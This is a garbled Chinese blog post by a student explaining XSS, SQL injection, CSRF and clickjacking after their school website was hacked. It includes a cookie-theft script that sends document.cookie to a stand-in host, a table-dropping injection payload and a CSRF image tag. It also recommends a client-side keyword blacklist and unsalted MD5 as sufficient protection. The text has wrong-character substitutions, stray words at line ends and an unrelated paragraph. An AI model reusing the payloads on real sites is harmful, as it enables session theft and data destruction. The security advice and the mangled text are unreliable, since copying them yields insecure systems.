以前忙于作各类事情,已经好久没写过文章,最近接的一个学校的网站项目,近期被人用自动脚本攻破了(笑...),由于咱们第一次作这种上线的项目,彻底没有意识到一些web安全的知识,因此就开始了紧急的漏洞补救和防御措施。因此我就把近期学习的知识总结下。目前我水平有限,只能作一个初级认识,让一些刚入行作上线的实际项目的同窗能有所警戒。html
做为这个网站项目组长,我是彻底不知道这些安全隐患问题的,团队的人员也没有研究过这些,因此形成了这个状况,由于咱们是在校大学学生,确实学无余力来研究这些,但愿对还未出社会的初学者提个醒。前端
我只会大概说起它的攻击原理和预防方法,具体的实现和深刻研究还请你们自行百度,由于只有真正须要用到才会去详细了解,这里我只为web安全小白作知识扫盲。由于博主目前接触最多的服务端语言是JAVA因此例子都从java web项目来说。java
虽然咱们目前作的是一个博客的小网站,可是之后不管是本身的博客仍是实际的项目,均可以用图片来提供外链,方便管理,若是你的网站访问量很高啊,一天几十万几百万啊,个人天啊,这时候你考虑的就不是服务器空间够不够大,而是惊人的并发数啊,光是请求html文件(或其余)的连接就处理不过来了,哪还有多余的资源去读取图片啊,索性就把图片存另外一个服务器吧,给主服务器减轻压力啊,因而图床诞生了。git
反射型XSSweb
它是经过诱使用户打开一个恶意连接,服务端将连接中参数的恶意代码渲染到页面中,再传递给用户由浏览器执行,从而达到攻击的目的。以下面的连接:算法
http://a.com/a.jsp?name=xss<script>alert(1)</script>
a.jsp将页面渲染成下面的html:sql
Hello xss<script>alert(1)</script>
这时浏览器将会弹出提示框。数据库
这算是常见的一种方法,预防的话能够经过后台编写方法来拦截过滤到这些非法或有攻击性的字符。后端
持久型XSS浏览器
持久型XSS将恶意代码提交给服务器,而且存储在服务器端,当用户访问相关内容时再渲染到页面中,以达到攻击的目的,它的危害更大。
好比,攻击者写了一篇带恶意JS代码的博客,文章发表后,全部访问该博客文章的用户都会执行这段恶意JS。
这个相对来讲对咱们开发网站来讲不算重要,可是要当心攻击者在你网站注入一些非法代码,从而达到这个目的。
Cookie中通常保存了当前用户的登陆凭证,若是能够获得,每每意味着可直接进入用户账户,而Cookie劫持也是最多见的XSS攻击。以上面提过的反射型XSS的例子来讲,能够像下面这样操做:
首先诱使用户打开下面的连接:
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>
用户打开连接后,会加载b.js,并执行b.js中的代码。b.js中存储了如下JS代码:
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);
上面的代码会向b.com请求一张图片,但其实是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。
防护Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识,浏览器禁止JavaScript访问带HttpOnly属性的Cookie。
输入检查
对输入数据作检查,好比用户名只容许是字母和数字,邮箱必须是指定格式。
必定要在后台作检查,不然数据可能绕过前端检查直接发给服务器。
通常先后端都作检查,这样前端能够挡掉大部分无效数据。
对特殊字符作编码或过滤,但由于不知道输出时的语境,因此可能会作不适当的过滤,最好是在输出时具体状况具体处理。
输出检查
对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。
另外还可使用一些作XSS检查的开源项目。
SQL注入经常会听到,它与XSS相似,是因为用户提交的数据被当成命令来执行而形成的。下面是一个SQL注入的例子:
String sql = "select * from user where username = '" + username + "'";
像上面的SQL语句,若是用户提交的username参数是leo,则数据库执行的SQL为:
select * from user where username = 'leo'
但若是用户提交的username参数是leo’; drop table user–,那执行的SQL为:
select * from user where username = 'leo'; drop table user--'
在查询数据后,又执行了一个删除表的操做,这样的后果很是严重。
博主本人的网站就是主要被SQL注入致使网站数据库受损
防止SQL注入最好的方法是使用预编译语句,以下面所示:
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();
不一样语言的预编译方法不一样,但基本均可以处理。
若是遇到没法使用预编译方法时,只能像防止XSS那样对参数进行检查和编码。
博主后面会贴出本身完善项目的检测代码,就是对网站能够进行数据提交的表单的输入进行SQL语句检测。
跨站请求伪造的英文全称是Cross Site Request Forgery,是因为操做所需的全部参数都能被攻击者获得,进而构造出一个伪造的请求,在用户不知情的状况下被执行。看下面一个例子:
若是a.com网站须要用户登陆后能够删除博客,删除博客的请求地址以下:
GET http://a.com/blog/delete?id=1
当用户登陆a.com后,又打开了http://b.com/b.html,其中有下面的内容:
<img src="http://a.com/blog/delete?id=1"/>
这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1,删除那篇博客。
验证码
CSRF是在用户不知情的状况下构造的网络状况,验证码则强制用户与应用交互,因此验证码能够很好得防止CSRF。但不能什么请求都加验证码。
referer检查
检查请求header中的referer也能帮助防止CSRF攻击,但服务器不是总能拿到referer,浏览器可能出于安全或隐私而不发送referer,因此也不经常使用。却是图片防盗链中用得不少。
Anti CSRF Token
更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后若是不正确,则拒绝执行操做。
做为了解,通常前面的攻击都过了,就能够形成此类攻击。
点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上,诱使用户在该网页上操做,而实际点击倒是点在透明的iframe页面。
点击劫持延伸出了不少攻击方式,有图片覆盖攻击、拖拽劫持等。
点击劫持的防护
针对iframe的攻击,可以使用一个HTTP头:X-Frame-Options,它有三种可选值:
DENY: 禁止任何页面的frame加载; SAMEORIGIN:只有同源页面的frame可加载; ALLOW-FROM:可定义容许frame加载的页面地址。
针对图片覆盖攻击,则注意使用预防XSS的方法,防止HTML和JS注入。
做为了解,通常前面的攻击都过了,就能够形成此类攻击。
咱们负责的团队项目为学校网站制做,因此涉及到用户输入的地方都在后台管理模块,从后台登陆界面开始就应该作一些防御措施了。
function validate(value) { var pattern = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im; if (value === '' || value === null) return false; if (pattern.test(value)) { alert("非法字符!"); return false; } return true; } function filterSqlStr(value) { var str = "and,delete,or,exec,insert,select,union,update,count,*,',join,>,<"; var sqlStr = str.split(','); var flag = true; for (var i = 0; i < sqlStr.length; i++) { if (value.toLowerCase().indexOf(sqlStr[i]) != -1) { flag = false; break; } } alert(flag); return flag; }
JS封装的2个方法,用于返回布尔值来判断是否经过。第一个为了过滤掉非法字符,第二个为了过滤有关数据库操做的非法字符。
//password Md5 public static String MD5Password(String oldstr) { char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; byte[] oldbytes = oldstr.getBytes(); try { MessageDigest md = MessageDigest.getInstance("MD5");// 获取对象 md.update(oldbytes);// 初始化对象 byte[] newBytes = md.digest();// 运行加密算法 char[] newStr = new char[32]; for (int i = 0; i < 16; i++) { byte temp = newBytes[i]; newStr[2 * i] = hexDigits[temp >>> 4 & 0xf]; newStr[2 * i + 1] = hexDigits[temp & 0xf]; } return new String(newStr); } catch (NoSuchAlgorithmException e) { return null; } }
经过在后台对数据库中,管理员的密码进行MD5加密而后存入加密后的字段进去,在前台经过加密前的字段输入后在后台进行方法验证,实现MD5加密登陆。防止数据库的密码被暴露查询出来。加密后没法被反解密出来。
同前台登陆同样的检测方法,由于我只负责前台检测,若是黑客绕过了个人检测,就要进行后台对数据传过去的值进行检测,这时候就是后台人员的工做了。因此先后台都要进行这些字符检测,可是后台的责任要重一点,由于数据最终流向是在后台服务器端,前台只是初步防御而已。
目前验证码字符验证已经逐渐推出舞台,可是有一些专门这块验证服务的第三方平台,经过对验证码字符的不断改进和更新,对一些攻击者来讲仍是有防御做用,可是我的或企业网站仍是用的一尘不变的验证方法的话,就很容易被攻击成功。不少初学者都在前台浏览器客户端用JS进行字符验证,很容易被破解跳过。好点的就在服务器进行检验,可是仍是能被一些黑客通过长期的经验发明的一些工具破解。
这里就说起一下12306所推出的图片验证,目前已经被不少人报道也是不安全的,攻击者能够直接将图片处理后丢入google、百度的识图接口,返回的数值让人惊讶。
竟然能把第二张图识别为沙县小吃,我是以为目前的人工智能的图像识别技术很厉害,因此要不了多久这种验证方式也会被淘汰,除非不断更新图片库。
滑块验证和12306的图片识别验证目前算是比较安全的验证手段,滑动验证的核心并非简单的拼接成功就能够过,因此也不是简单的算一下偏移量就能破解。滑动验证作的好的是经过采集你的滑动过程轨迹与服务器端的海量样本进行对比,区分人仍是机器,用到了不少深度学习的技术,固然市面上也有一些滑动验证只是前端拼接就能过,你们仍是要多多研究一下。
反正若是项目须要用到验证码这块,不能考虑只在客户端进行JS验证,客户端的JS验证有的前提下,还要把数据返回到后台来进行验证,这样能够大几率保证网站安全性,网站的攻防一直是持久的话题,没有绝对的安全也没有绝对的攻击。推荐你们多尝试网上的第三方服务商提供的验证服务,这样节省本身的精力来研究验证漏洞以及频繁的更新验证方法。
在校期间第一次认识到web安全重要性,目前只是初步的认识,若是后面了解了更多相关的知识,会继续作补充。关于hexo搭建的博客的技术应该不会再出什么文章了,有须要了解其余的知识的,会有困难的能够联系我或下方留言,而后看状况是否整理为一篇文章来集中回答帮助其余人。